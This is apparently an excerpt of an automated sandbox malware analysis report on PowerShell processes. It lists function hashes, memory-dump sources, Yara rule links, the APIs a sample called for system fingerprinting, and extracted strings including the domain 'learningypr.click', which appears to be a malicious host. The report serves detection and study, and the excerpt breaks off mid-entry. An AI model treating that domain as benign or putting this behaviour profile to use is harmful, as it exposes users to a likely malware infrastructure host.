Instruction ID: 07cd5eb2475104ef0680e140ad8d9271151612c6485358cdbdb5fbb47b2ce2f4
Opcode Fuzzy Hash: 20df088244ec5322729523d9080740cd5634d9060e65720e9506f57a7d3e9482
Instruction Fuzzy Hash: C12154B1E146189BE76DCF2B8C0129AFAFBAFC9200F04D1FE955C66214DB7407868F41

Function 03138E70 Relevance: 1.0, Instructions: 956COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3467490209.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3130000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1c3e7c5a83efcb64735dc0081e99a8fbd981db3a374b1a6ad891a9d12463da4
Instruction ID: 0cc1134012764660fba29455eb89e184dc3cadf892fb3af782def4ad6efcb7eb
Opcode Fuzzy Hash: c1c3e7c5a83efcb64735dc0081e99a8fbd981db3a374b1a6ad891a9d12463da4
Instruction Fuzzy Hash: BEA28175A00628DFDB65CF69C984B99BBB2BF89300F1581E9D509AB321DB319E85CF40

Function 074B2E58 Relevance: .6, Instructions: 601COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7200ce8a0ada4868f2c64c127b82d385150ff1638e5fe27be923e59aa3e6928e
Instruction ID: 1e5b3165cabdb56dc334f96cf8bb557e2340238ddbaa0e2d4d230b23be2232ca
Opcode Fuzzy Hash: 7200ce8a0ada4868f2c64c127b82d385150ff1638e5fe27be923e59aa3e6928e
Instruction Fuzzy Hash: 74326BB4A017168FDB58DF69C4946AEFBF2FF88300F14892AD55697341CB34AD01CBA1

Function 08620040 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3516284452.0000000008620000.00000040.00000800.00020000.00000000.sdmp, Offset: 08620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d68cbfdebd745e770089dd9d6baaf50cd7b1808e6b2d0cf10f43d0ae5c93f4d
Instruction ID: febf95fd1cc2026e2108c594bc33a0c109f8f30dff64c7edac1b11448b2c7cd4
Opcode Fuzzy Hash: 5d68cbfdebd745e770089dd9d6baaf50cd7b1808e6b2d0cf10f43d0ae5c93f4d
Instruction Fuzzy Hash: FD123574E01A28CFDB64CF69C944B9AB7B2FB89301F1180E9D509AB344DB749D81CF42

Function 074C5FF0 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7531e5d03416827ad398b76223298c1d3f7091caef1b64aac4b658f0612424a3
Instruction ID: 319fa41e4247c4e747acaa24a7e8d140127893ac8f5967d435d955e2a2f0071a
Opcode Fuzzy Hash: 7531e5d03416827ad398b76223298c1d3f7091caef1b64aac4b658f0612424a3
Instruction Fuzzy Hash: 1512C7B4E006588FDB54CFAAC9806DEFBF2BF88304F24C16AD458AB219D7349946CF55

Function 0715CF88 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3503039093.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7150000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1de1f616391783ab098cb658213eddd6e5ce952ef2945cf66858e0b85eb2400f
Instruction ID: 7bf14dba9ebe8a5561ff16517d8a0c19fed801ab456ed131f143bf0a8bf9994b
Opcode Fuzzy Hash: 1de1f616391783ab098cb658213eddd6e5ce952ef2945cf66858e0b85eb2400f
Instruction Fuzzy Hash: E4B17DB1E1051ACBCB09CBA9C9906ADFBF1FF88301F148669D8A5E7245D770ED42CB90

Function 074C6B90 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf27305ea2b5d52acd070fc93d9e17fb81786600641a691df6b895fde8ea3457
Instruction ID: 18de4dcbfa05c9bc7d455b875288f5854e8a0e3ff699c888fd25a87aef4cc540
Opcode Fuzzy Hash: bf27305ea2b5d52acd070fc93d9e17fb81786600641a691df6b895fde8ea3457
Instruction Fuzzy Hash: 189128B4D05218CFEBA4CF6AD940BEDBBB2BB86304F11C4AED009AB255DB755985CF01

Function 074C6B81 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58bcccdd297301f0961866a260d5e2ae9d491585c093bd1e659d84c7e5ff328a
Instruction ID: d0063301f68f8a36308f97ccd64c825831e915095a91bd7cb166836a1c17014a
Opcode Fuzzy Hash: 58bcccdd297301f0961866a260d5e2ae9d491585c093bd1e659d84c7e5ff328a
Instruction Fuzzy Hash: 3B9117B4D05219CFEBA4CF6AD940BDDBBB2BB85304F25C4AEC408AB251DB745A85CF01

Function 0715CF5D Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3503039093.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7150000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d903e79801af609e30a560e9f05854834605b5ee4aefeec3128329519df267b1
Instruction ID: f9368b6c804605b513725d7b0002fa1c0fa98df1776b2b1a5bdc20efbba040da
Opcode Fuzzy Hash: d903e79801af609e30a560e9f05854834605b5ee4aefeec3128329519df267b1
Instruction Fuzzy Hash: 93817FB1E0062ACBDB19CFA9D8806AEFBF1FF88300F148125D865E7245D774E945CB91

Function 074C7094 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8504ea375bdc2f945ca6115d0e1be81f2dd050a39ece24c5187c96b849a9fea2
Instruction ID: 95d1fac696c5991220a3d76cdd021454f6185212434da6ed3f4c07c92ab88bf4
Opcode Fuzzy Hash: 8504ea375bdc2f945ca6115d0e1be81f2dd050a39ece24c5187c96b849a9fea2
Instruction Fuzzy Hash: 789117B8D05219CFEBA4CF69D980BDDBBB2BB46304F25C4AED009AB251DB745985CF01

Function 074C6F77 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 268b3c6092ff124f92e7975dc6ad252449a67b7f71881c824b39a716aeaaacbc
Instruction ID: 337959eb45ce55b5d1db974cb00661fd7c553e3a1fd7145f46e366b8c4e4dc85
Opcode Fuzzy Hash: 268b3c6092ff124f92e7975dc6ad252449a67b7f71881c824b39a716aeaaacbc
Instruction Fuzzy Hash: 109115B4D05219CFEBA4CF69D980BDDBBB2BB45304F25C4AED009AB251DB745A85CF01

Function 074C6E64 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96762f2fde7c6b8df0ce58d468d8da9f27b3ec6fff7827e1294e4f82d562847e
Instruction ID: 749e37681c0b169254d8ce74702db33e26dc8b42875fabe95f310a583781fab8
Opcode Fuzzy Hash: 96762f2fde7c6b8df0ce58d468d8da9f27b3ec6fff7827e1294e4f82d562847e
Instruction Fuzzy Hash: 4D9105B8D05219CFEBA4CF69D980BDDBBB2BB45304F2584AEC009AB351DB755A85CF01

Function 074B5DF0 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cb99d571cf12bc1eb9a99b69a6caee77aa5002a22589e4d7c56442f7ff37893
Instruction ID: 50395db3894f3b4e89ff16416d71b3bda3ebccdd1040255f016279c7bd4553f1
Opcode Fuzzy Hash: 1cb99d571cf12bc1eb9a99b69a6caee77aa5002a22589e4d7c56442f7ff37893
Instruction Fuzzy Hash: 838133B4D04218CFDB24DFA8D5447EDFBB2BB8A300F10846AD509AB245DB749D86CF21

Function 074B5E00 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00e63364557792ae8a2a36fc22799f1674559225d712f0ba5dae205f437dd571
Instruction ID: 3ff120e63c9e5a800b3f684400d5332ba2bad3b570a4d9cfec5177ae880fb42c
Opcode Fuzzy Hash: 00e63364557792ae8a2a36fc22799f1674559225d712f0ba5dae205f437dd571
Instruction Fuzzy Hash: 1A8133B4D15218CFDB24DFA8D5447EDFBB2BB8A300F10846AD509A7281DB749D86CF21

Function 074C6E2B Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ccc3b03513b8e46a15a8a9a92dbd25b5bcd6604f258ce420c95d02cc7bebee
Instruction ID: 63d3ddbc80acb38b3e16354d152954bf307f6f1252e8e7890d3226f3bf9e7549
Opcode Fuzzy Hash: e5ccc3b03513b8e46a15a8a9a92dbd25b5bcd6604f258ce420c95d02cc7bebee
Instruction Fuzzy Hash: 4B8105B4D05219CFEBA4CF6AD980BDDBBB2BB45304F25C4AED009AB251DB745A85CF01

Function 074C6F14 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e27fcd7795fc4f23911618b14b6da7e5daadf4c5ab124f955de6bb9c3ea0546c
Instruction ID: 654db829bbaf9a260881b85b3524f91731fbc62903097d3ca61310bf170e67af
Opcode Fuzzy Hash: e27fcd7795fc4f23911618b14b6da7e5daadf4c5ab124f955de6bb9c3ea0546c
Instruction Fuzzy Hash: E48114B4D05219CFEBA4CF6AD980BDDBBB2BB45304F25C4AEC009AB251DB745A85CF01

Function 074C6C18 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82dd7b4a056d926c05c16b91b74e8a0fce62095ffb1baf4394a2431084fbd24
Instruction ID: 57c694c4750771c8010814728029cd6e4cdc0b594e98e36461186bd5652e214e
Opcode Fuzzy Hash: c82dd7b4a056d926c05c16b91b74e8a0fce62095ffb1baf4394a2431084fbd24
Instruction Fuzzy Hash: BA81F4B4D05219CFEBA4CF69D980B9DBBB2BB46304F25C4AEC009AB251DB755A85CF01

Function 074C6E05 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f237fd9d5459d1d629b94558ee86a8ee3b00ea6aecdcb1e5b2dafd5e44a0798
Instruction ID: 55e6603417f44ad1f2405cf2e07411d1a1b9aaf65ddd59fc6abe4bcc4f4cbc97
Opcode Fuzzy Hash: 9f237fd9d5459d1d629b94558ee86a8ee3b00ea6aecdcb1e5b2dafd5e44a0798
Instruction Fuzzy Hash: D98104B4D05219CFEBA4CF69D980BDDBBB2BB46304F25C4AEC009AB251DB755A85CF01

Function 03135062 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3467490209.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3130000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6affa3294a88e8bfae03c8fe93887323e850bee6325b0578a65167c36170cc08
Instruction ID: e6870ba7df3aba45d6cb9cb273b663bf2be46ef994b14d4ffd14743cc6293366
Opcode Fuzzy Hash: 6affa3294a88e8bfae03c8fe93887323e850bee6325b0578a65167c36170cc08
Instruction Fuzzy Hash: D1712D70E002099FDB48DF6AE985699BBF3BFC8300F14D629C154AB264DF7469868B81

Function 03135070 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3467490209.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3130000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b42077eeee15f756e17594232ae141ee46560d69a98b36449526ba5cef304be8
Instruction ID: 8b050412281090f61591aeb226669be06c64e449369f4503532a9e923cb0c695
Opcode Fuzzy Hash: b42077eeee15f756e17594232ae141ee46560d69a98b36449526ba5cef304be8
Instruction Fuzzy Hash: E1710C70E002099FDB48DF6AF94569ABBF3BFC8300F14D629C154AB264DF7459868B91

Function 074C5F19 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a435a981089712a715e1e4abe0bd53664e8d58f927c4ebd3a74bcc183fa09919
Instruction ID: fca06b36d627a33cd815a6682f6f3c8881cabdf8e83127e56cb795bfc070ba20
Opcode Fuzzy Hash: a435a981089712a715e1e4abe0bd53664e8d58f927c4ebd3a74bcc183fa09919
Instruction Fuzzy Hash: F851A6B5E046589BDB08CFABD94069EFBF3AFC8300F14C16AD918AB254DB305A468F54

Function 07158956 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3503039093.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7150000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 777778f2e9f358b544e0c02f62c1f51dac16cb4b0057a3b1dced01aaa44e5c28
Instruction ID: b66f3718c9f26856c165336266112f868c1dc0ac8a1bedb71eadb3c1a76a58cc
Opcode Fuzzy Hash: 777778f2e9f358b544e0c02f62c1f51dac16cb4b0057a3b1dced01aaa44e5c28
Instruction Fuzzy Hash: 47517972A00245DFDB48DF7AF94568ABBF3BFC9300F14D529C114AB265EFB848468B90

Function 07158960 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3503039093.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7150000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de4f573452921c3951c74de390c8302880b4437cb3494debe1ae64cbe652676a
Instruction ID: 4e1fd8e6967f569650ad4e94081508ef007f0e273aa1773139ff9444d4600400
Opcode Fuzzy Hash: de4f573452921c3951c74de390c8302880b4437cb3494debe1ae64cbe652676a
Instruction Fuzzy Hash: FE515A71A00205DFD74CDF6AF94568ABBF3BFC9300F14D529C1149B265EFB858468B90

Function 074B6758 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88425f97c44a0f4f05143743dbd542168d5cf46abef70fe30067eae71215b95c
Instruction ID: 32c8c3060e4870c4ca4bb862a75d7010fe3808480e2bffcccd9914439d0a7b55
Opcode Fuzzy Hash: 88425f97c44a0f4f05143743dbd542168d5cf46abef70fe30067eae71215b95c
Instruction Fuzzy Hash: 4B5165B4D16218CFDB24DFA9D5447EDBBF2BB8A300F11952AD004AB254DB748C82CF66

Function 074B6768 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a94decdcd14cd770ca78e8a5a64167cebdbc351659b94659e54bd0f995f9c9c
Instruction ID: be05a0a6e9ab2e456d89c36ae6f2a83a9a831b7b8ea4f535e0722bec8044749e
Opcode Fuzzy Hash: 1a94decdcd14cd770ca78e8a5a64167cebdbc351659b94659e54bd0f995f9c9c
Instruction Fuzzy Hash: AB5144B4D16218CFDB24DFAAD5447EDBBF2BB8A300F11952AD005A7244CB749C86CF66

Function 074C5FE1 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfcf8bc1575a768be27224d03f3300775a3be4df9203f0e804340b86eefec400
Instruction ID: 3a19ca574e2f7e4f72251f34ee5ebe94227ae60911d2ce8bd3a7543d0355afa7
Opcode Fuzzy Hash: bfcf8bc1575a768be27224d03f3300775a3be4df9203f0e804340b86eefec400
Instruction Fuzzy Hash: CA5155B5E016198BDB18CFABD94069EFBF3BFC8300F14C16AD918AB224DB3059468B55

Function 074C7B87 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3510177904.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6bf0b1aa656f051912e50f6c88a99e52ffe38e9f46667d232fd890addfea2b8
Instruction ID: 9810b06d03f78973144fe54710309caf2bc5c33472d4c971edf92a8b72005054
Opcode Fuzzy Hash: f6bf0b1aa656f051912e50f6c88a99e52ffe38e9f46667d232fd890addfea2b8
Instruction Fuzzy Hash: C9416EB1D04A588BEB58CF6B8C406DEFAF3AFC9211F14C1BA881CAB255DB3045428F51

Function 031355F8 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3467490209.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3130000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd308ce915d3e44c9199dd1dc900755b1b27cce98603677107ecbcf1a1b7076
Instruction ID: 23c75b9387471d37506d93027fa95ba2e4fa2f97fad2aa04bb25cc264f44971d
Opcode Fuzzy Hash: 1cd308ce915d3e44c9199dd1dc900755b1b27cce98603677107ecbcf1a1b7076
Instruction Fuzzy Hash: 2C4165B1D056288BEB68CF6BC95879EFAF7BF89304F14C1E9C40CA6254DB740A858F11

Function 031355EA Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3467490209.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3130000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e34580c43ae98da98c6f0b7e26894b93f8d5e37cee809bfb287f2c66a5463261
Instruction ID: 773c78b5c3d9483f4483e82627414ffe164335bf24142a0e7b2ff76376612d38
Opcode Fuzzy Hash: e34580c43ae98da98c6f0b7e26894b93f8d5e37cee809bfb287f2c66a5463261
Instruction Fuzzy Hash: 893154B1D056188BEB68CF6BCD5578EFAF7BFC9304F14C1A9C408A6265EB740A858F41

Function 074BA310 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 816fdb0827e2d74d708ac0b24b40d02bfe2dfa10ac0ea2ec57509ee3eae217f7
Instruction ID: 248d7b04d861ff28e87bbf48e50e83dec4274e198e492b18b6556c1e24344354
Opcode Fuzzy Hash: 816fdb0827e2d74d708ac0b24b40d02bfe2dfa10ac0ea2ec57509ee3eae217f7
Instruction Fuzzy Hash: 6621D5B1E056189BEB28CF9BD9407DDBAF7BFC9300F14C16AD409AA254DB74094A8F50

Function 074BA305 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3509483100.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 145ce7776ffa06e7e2f176047827da8c81b9c96717d1c15b16a3420da9e4b133
Instruction ID: f0af596f4c30682765345b8e09790e2b8a8a5e4832aa0efcfe45b20f046a54d4
Opcode Fuzzy Hash: 145ce7776ffa06e7e2f176047827da8c81b9c96717d1c15b16a3420da9e4b133
Instruction Fuzzy Hash: 0021E8B1E056189BEB18CF9BD8447DEFAF7BFC9300F14C16AD408AA254DB74094A8F50

Analysis Process: powershell.exePID: 1208, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	9.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.1%
Total number of Nodes:	422
Total number of Limit Nodes:	26

Executed Functions

Function 00437B10 Relevance: 35.6, APIs: 12, Strings: 8, Instructions: 634
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044168C,00000000,00000001,0044167C,00000000), ref: 00437D84
SysAllocString.OLEAUT32(5C045A0B), ref: 00437DF9
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00437E37
SysAllocString.OLEAUT32(49F947F1), ref: 00437E85
SysAllocString.OLEAUT32(18C206D6), ref: 00437F1B
VariantInit.OLEAUT32(83828188), ref: 00437F87
VariantClear.OLEAUT32(?), ref: 004380F5
SysFreeString.OLEAUT32(?), ref: 00438110
SysFreeString.OLEAUT32(00000000), ref: 0043811A
SysFreeString.OLEAUT32(?), ref: 00438120
SysFreeString.OLEAUT32(00000000), ref: 00438130
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043816C

Strings

6Z, xrefs: 00437EC5
;4, xrefs: 00437EB5
UM, xrefs: 00437CF0, 00437E6C, 00437D32, 00437C53, 00437E80, 00437C80, 00437F05, 00437DF4, 00437BF0, 00437CCF, 00437F16
?jYl, xrefs: 00437DB5
z{|}, xrefs: 0043821B
UM, xrefs: 00437FD0
C, xrefs: 00437C6C
6Z, xrefs: 00438276

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: String$Free$Alloc$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: 6Z$6Z$;4$?jYl$C$UM$UM$z{|}
API String ID: 1341229144-441414108
Opcode ID: a633c24761fe19cdb29494bf90a08ae4ff31b84f00254bba1d2ed369a3c0b899
Instruction ID: 32d1f029859c812e3577e43d14a4ed93bc1c567ea28ae8984151c89a2e27ba93
Opcode Fuzzy Hash: a633c24761fe19cdb29494bf90a08ae4ff31b84f00254bba1d2ed369a3c0b899
Instruction Fuzzy Hash: 77220FB6A083009FD314CF64D881B5BBBE6EFC9304F14892DF58587391EB78D9068B96

Function 0042D4CF Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 445
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042D5F5

Strings

Z!Xt, xrefs: 0042D707
:!?w, xrefs: 0042DA81
#v, xrefs: 0042D5F5
/g, xrefs: 0042DA97
^, xrefs: 0042DAA1

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: FreeLibrary
String ID: /g$:!?w$Z!Xt$^$#v
API String ID: 3664257935-3698322507
Opcode ID: 19a61970159725aceee255d92c9b2e5e9dd3bcb96c21c50fd331cbd9fab3b85b
Instruction ID: 4697a7a2b7991663a3431a9e595b2f93c3a4af1ad7168bdcbedf7ab2257885db
Opcode Fuzzy Hash: 19a61970159725aceee255d92c9b2e5e9dd3bcb96c21c50fd331cbd9fab3b85b
Instruction Fuzzy Hash: 60D10360A0C3E18AD7358F3994507ABBBE1AF97304F58489ED5CD97383C779440ACB66

Function 00408710 Relevance: 7.7, APIs: 5, Instructions: 157
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004087AC
GetCurrentThreadId.KERNEL32 ref: 004087B5
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408869
GetForegroundWindow.USER32 ref: 0040887E

Part of subcall function 0040C5E0: CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C5F3

Part of subcall function 0040B3B0: FreeLibrary.KERNEL32(004088F5), ref: 0040B3B6
Part of subcall function 0040B3B0: FreeLibrary.KERNEL32 ref: 0040B3D7

ExitProcess.KERNEL32 ref: 0040890E

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundInitializePathSpecialThreadWindow
String ID:
API String ID: 3072701918-0
Opcode ID: 092eeac04e3235b3cffdd63d5fdc64b0968430b27af5ec40e86791fb6eade397
Instruction ID: c0d0f8101dccc444c7a8ef3ccfd2f931438813064df6d6c753299e275b31ea86
Opcode Fuzzy Hash: 092eeac04e3235b3cffdd63d5fdc64b0968430b27af5ec40e86791fb6eade397
Instruction Fuzzy Hash: D0515CB7B003144BD318AF65CD4536676978BC5710F0AC13DAA85AF3D6EE78AC0686C9

Function 0040D0C6 Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 303
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0040D0DB

Strings

67, xrefs: 0040D473
~zpH, xrefs: 0040D1CD
learningypr.click, xrefs: 0040D4C1

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

